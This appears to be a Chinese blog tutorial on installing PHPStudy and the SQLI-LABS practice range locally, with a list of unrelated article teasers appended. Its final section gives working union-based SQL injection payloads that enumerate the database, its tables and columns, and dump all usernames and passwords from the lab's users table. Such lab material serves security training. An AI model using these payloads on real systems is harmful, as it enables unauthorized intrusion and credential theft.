SQL注入练习场:PHPStudy+SQLI-LABS靶场搭建教程(零基础友好版)

news2025/3/10 11:31:57

注意:文中涉及演示均为模拟测试,切勿用于真实环境,任何未授权测试都是违法行为!

一、环境准备

  1. 下载PHPStudy
    官网下载地址:https://www.xp.cn/php-study(选择Windows版)
    在这里插入图片描述

安装时建议选择自定义路径(如 D:\phpstudy_pro),避免系统盘权限问题

  1. 下载SQLI-LABS源码
    从GitHub获取源码包:https://github.com/Audi-1/sqli-labs
    在这里插入图片描述
    下载完成后解压,将文件夹重命名为sqli-labs(避免中文路径)。

二、PHPStudy配置

  1. 启动基础服务
    打开PHPStudy,启动ApacheMySQL服务(图2:服务启动界面)。
    在这里插入图片描述

若MySQL启动失败,检查端口是否被占用(默认3306)。

  1. 切换PHP版本
    点击左侧菜单【网站】→ 选择【管理】→【PHP版本】→更多→ 安装PHP5.5.9(SQLI-LABS不支持PHP7+)。
    切换后需重启Apache服务(图3:PHP版本切换界面)。
    在这里插入图片描述

三、部署SQLI-LABS靶场

  1. 放置源码文件
    sqlilabs文件夹复制到PHPStudy的网站根目录(默认路径:D:\phpstudy_pro\WWW)。

  2. 配置数据库连接
    打开文件sqlilabs/sql-connections/db-creds.inc,修改以下参数:

    $dbuser = 'root';    // 数据库用户名(默认)
    $dbpass = 'root';    // 数据库密码(若未修改则为空)
    

在这里插入图片描述

四、初始化靶场数据库

  1. 访问靶场页面
    浏览器输入http://localhost/sqli-labs/,进入SQLI-LABS首页。

点击页面中的Setup/reset Database for labs链接
在这里插入图片描述

  1. 验证初始化结果
    若显示Congratulations! Database is connected...,表示数据库创建成功。
    若报错mysql_connect() undefined,需检查PHP版本是否为5.x 。

五、开始注入练习

  1. 选择关卡
    返回首页点击Less-1(基础注入关卡),通过URL参数?id=1测试注入点。
    示例Payload:?id=1' and 1=2 union select 1,2,3 --+查看显示位
    在这里插入图片描述
    ?id=1' and 1=2 union select 1,2,database()--+显示出数据库名
    在这里插入图片描述
    ?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
    查看数据库的所有表
    在这里插入图片描述
    ?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+查看users表中的字段
    在这里插入图片描述
    ?id=1' and 1=2 union select 1,2,group_concat(username,0x7e,password) from security.users --+查看全部用户名和密码
    在这里插入图片描述

还可以下载phpmyadmin管理数据库
在这里插入图片描述在这里插入图片描述
2. 常见问题排查
数据库连接失败:检查db-creds.inc密码是否与PHPStudy的MySQL一致。
页面无法访问:确认sqlilabs文件夹是否位于WWW目录,且Apache端口未被占用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2311913.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WordPress报502错误问题解决-php-fpm-84.service loaded failed failed LSB: starts php-fpm

文章目录 问题描述问题排查问题解决 问题描述 服务器环境: php:8.4MySQL:8.0Nginx:1.26.2 在访问站点时,一直报502,而两天前还能正常访问。 问题排查 导致502的问题很多,比如站点访问量太大…

uniapp 微信小程序 升级 uniad插件版本号

问题描述: 每次提交代码升级的时候会弹窗提示:uniad插件版本太低… 解决办法 一、使用微信小程序开发工具点击右上角 查看到最新版本:1.3.4 二、在app.json中改为最新的版本即可 "uni-ad": {"version": "1.3.4&q…

使用Dockerfile打包java项目生成镜像部署到Linux_java项目打docker镜像的dockerfile

比起容器、镜像来说,Dockerfile 非常普通,它就是一个纯文本,里面记录了一系列的构建指令,比如选择基础镜像、拷贝文件、运行脚本等等,每个指令都会生成一个 Layer,而 Docker 顺序执行这个文件里的所有步骤&…

使用 Apache POI 实现 Excel 单元格合并

在日常工作中,Excel 是一个不可或缺的工具,尤其是在处理大量数据时。为了提升数据的可读性和美观性,我们经常需要对 Excel 中的单元格进行合并操作。本文将介绍如何使用 Apache POI 库在 Java 中实现 Excel 单元格的合并,并提供一…

低代码开发直聘管理系统

低代码 DeepSeek 组合的方式开发直聘管理系统,兼职是开挂的存在。整个管理后台系统 小程序端接口的输出,只花了两个星期不到。 一、技术栈 后端:SpringBoot mybatis MySQL Redis 前端:Vue elementui 二、整体效果 三、表结…

Android更新时区版本-ianaVersion

代码路径 源码路径system/timezone 目录结构: apex 包含与Android时区更新APEX文件相关的代码,用于在Android设备上更新时区规则。 debug_tools 包含调试Android设备时区问题的工具。 distro 包含与“分发包”(distros)相关…

利用python实现对Excel文件中数据元组的自定义排序

问题引入: 假设你是一个浙江省水果超市的老板,统筹11个下辖地市的水果产量。假设11个地市生产的水果包括:苹果、香蕉和西瓜。你如何快速得到某种水果产量突出(排名前几)的地市?产量落后(排名后…

leetcode 0018 四数之和-medium

1 题目:四数之和 给你一个由 n 个整数组成的数组 nums ,和一个目标值 target 。请你找出并返回满足下述全部条件且不重复的四元组 [nums[a], nums[b], nums[c], nums[d]] (若两个四元组元素一一对应,则认为两个四元组重复&#x…

时序数据库 InfluxDB 3.0 版本性能实测报告:写入吞吐量提升效果验证

亮点总结: TSBS 测试表明,对于少于 100 万台设备的数据集,InfluxDB OSS 3.0 的数据写入速度实际上比 InfluxDB OSS 1.8 更慢。 对于 100 万台及以上设备的数据集,InfluxDB OSS 3.0 的数据写入性能才开始超过 InfluxDB OSS 1.8。…

Pytest自动化框架

目录 Pytest简单介绍 第一章:Pytest console命令 1.pytest -v 参数 -h 参数 其他一些参数:仅供参考 第二章. mark标记 pytest.mark.skip pytest.mark.skipif pytest.mark.xfail ​编辑 pytest.mark.patametrize 单个参数 多个参数 直接…

ubuntu22.04安装RAGFlow配合DeepSeek搭建本地知识库

一、简介 RAGFlow 是一个基于对文档的深入理解的开源 RAG(检索增强生成)引擎。当与 LLM 集成时,它能够提供真实的问答功能,并以来自各种复杂格式数据的有根据的引用为后盾。 二、安装 1.环境要求 CPU ≥ 4 核 (x86…

【银河麒麟高级服务器操作系统实例】虚拟机桥接网络问题分析及处理

更多银河麒麟操作系统产品及技术讨论,欢迎加入银河麒麟操作系统官方论坛 https://forum.kylinos.cn 了解更多银河麒麟操作系统全新产品,请点击访问 麒麟软件产品专区:https://product.kylinos.cn 开发者专区:https://developer…

springboot011基于springboot的课程作业管理系统(源码+包运行+LW+技术指导)

项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得难了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等,你想解决的问题,今天…

Android 屏幕适配 Tips

概念 屏幕尺寸:屏幕的对角线的长度屏幕分辨率:屏幕分辨率是指在横纵向上的像素点数,单位是px,1px1个像素点。一般以纵向像素x横向像素,如1960x1080屏幕像素密度:每英寸上的像素点数,单位是dpi …

使用 Arduino 的 WiFi 控制机器人

使用 Arduino 的 WiFi 控制机器人 这次我们将使用 Arduino 和 Blynk 应用程序制作一个 Wi-Fi 控制的机器人。这款基于 Arduino 的机器人可以使用任何支持 Wi-Fi 的 Android 智能手机进行无线控制。 为了演示 Wi-Fi 控制机器人,我们使用了一个名为“Blynk”的 Android 移动应…

使用 Deepseek + kimi 快速生成PPT

前言 最近看到好多文章和视频都在说,使用 Deepseek 和 kimi 能快速生成精美的 ppt,毕竟那都是别人说的,只有自己尝试一次才知道结果。 具体操作 第一步:访问 deepseek 我们访问 deepseek ,把我们想要输入的内容告诉…

XHR请求解密:抓取动态生成数据的方法

在如今动态页面大行其道的时代,传统的静态页面爬虫已无法满足数据采集需求。尤其是在目标网站通过XHR(XMLHttpRequest)动态加载数据的情况下,如何精准解密XHR请求、捕获动态生成的数据成为关键技术难题。本文将深入剖析XHR请求解密…

C#程序加密与解密Demo程序示例

目录 一、加密程序功能介绍 1、加密用途 2、功能 3、程序说明 4、加密过程 5、授权的注册文件保存方式 二、加密程序使用步骤 1、步骤一 ​编辑2、步骤二 3、步骤三 4、步骤四 三、核心代码说明 1、获取电脑CPU 信息 2、获取硬盘卷标号 3、机器码生成 3、 生成…

MC9S12单片机的内存映射机制

地址空间 这是个16位的单片机。CPU的寻址空间最大为2^1664K。 这个64K是包括外设、RAM、EEPROM、和FLASH的。现在程序越来越大,64K的空间肯定是不够用的。因此,需要扩展。 扩展方法就是:分页。 把原来的64K空间,划分一块出来&a…

计算机毕业设计SpringBoot+Vue.js科研项目验收管理系统(源码+文档+PPT+讲解)

温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…